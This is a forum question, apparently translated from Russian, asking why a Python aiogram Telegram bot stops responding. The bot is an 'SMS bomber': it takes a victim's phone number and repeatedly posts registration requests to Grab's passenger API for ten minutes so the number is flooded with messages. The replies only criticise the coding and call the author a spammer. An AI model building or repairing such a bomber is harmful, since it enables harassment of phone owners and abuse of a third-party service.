T
T
turbinsday2022-02-03 22:30:34
Python
turbinsday, 2022-02-03 22:30:34

Why is the bot not running when the function starts?

When start_spam is run, the bot stops working - neither for the one who called, nor for anyone else. In this case, the function is executed. Completes without error

import requests
import threading
import asyncio
from datetime import datetime, timedelta
import aiogram
from aiogram import Bot, Dispatcher, executor, types
import time
from config import token, admin_id
from aiogram.types import ReplyKeyboardRemove, ReplyKeyboardMarkup, KeyboardButton, InlineKeyboardMarkup, InlineKeyboardButton


async def start_spam(chat_id, phone_number, force):
    running_spams_per_chat_id.append(chat_id)

    end = datetime.now() + timedelta(minutes=10)
    while (datetime.now() < end):
        if chat_id not in running_spams_per_chat_id:
            break
        asyncio.run(await send_for_number(phone_number))

    THREADS_AMOUNT[0] -= 1  # стояло 1
    try:
        running_spams_per_chat_id.remove(chat_id)
    except Exception:
        pass



THREADS_LIMIT = 400

chat_ids_file = 'chat_ids.txt'

bot = Bot(token=token)
dp = Dispatcher(bot)

# Эти переменные лучше не менять
users_amount = [0]
threads = list()
THREADS_AMOUNT = [0]
types = aiogram.types

running_spams_per_chat_id = []


async def send_for_number(phone):
    request_timeout = 0.00001
    try:
        requests.post('https://p.grabtaxi.com/api/passenger/v2/profiles/register',
                      data={'phoneNumber': phone, 'countryCode': 'ID', 'name': 'Alexey',
                            'email': '[email protected]', 'deviceToken': '*'}, headers={
                'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0'})
    except Exception as e:
        pass


@dp.message_handler(commands=['start'])


async def save_chat_id(message: types.Message):
    start_bomb = KeyboardButton(' Запустить бомбер ')
    statistic = KeyboardButton('ℹ Информация о боте ℹ')
    main_keyboard = ReplyKeyboardMarkup(resize_keyboard=True, row_width=1)

    main_keyboard.add(start_bomb, statistic)
    "Функция добавляет чат айди в файл если его там нету"
    await message.answer('Хей-хей! Добро пожаловать!\nЭто - бесплатный бомбер "TekkaBomb".', reply_markup=main_keyboard)
    chat_id = str(message.from_user.id)
    with open(chat_ids_file, "a+") as ids_file:
        ids_file.seek(0)

        ids_list = [line.split('\n')[0] for line in ids_file]

        if chat_id not in ids_list:
            ids_file.write(f'{chat_id}\n')
            ids_list.append(chat_id)
            print(f'New chat_id saved: {chat_id}')
        else:
            print(f'chat_id {chat_id} is already saved')
        users_amount[0] = len(ids_list)
    return

@dp.message_handler()
async def answermessage(message: types.Message):
    if message.text == 'ℹ Информация о боте ℹ':
        await message.answer(f'Администратор: @turbinsday\nПользователей на данный момент: {users_amount[0]}')
    elif message.text == ' Запустить бомбер ':
        await message.answer('Отправь номер в формате 79*********:')
    elif '790'in message.text:
        if '+7' in message.text:
            await message.answer('Неправильный формат! Отправь номер в формате 79*********:')
        else:
            phone = message.text
            await message.answer(f'Запущен спам на номер +{phone} сроком на 10 минут')
            asyncio.run(await start_spam(message.from_user.id,phone, force=False))
if __name__ == '__main__':
    executor.start_polling(dp, skip_updates=True)

Answer the question

In order to leave comments, you need to log in

2 answer(s)
D
Dr. Bacon, 2022-02-04
@bacon

Another "bot writer" who doesn't know the basics - makes trash, what a fright there is a lot of asyncio.run here
Also a spammer.

A
Alan Gibizov, 2022-02-03
@phaggi

I believe the program exits without error messages because the author of the program has suppressed all errors. A typical mistake is to suppress errors without processing.

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question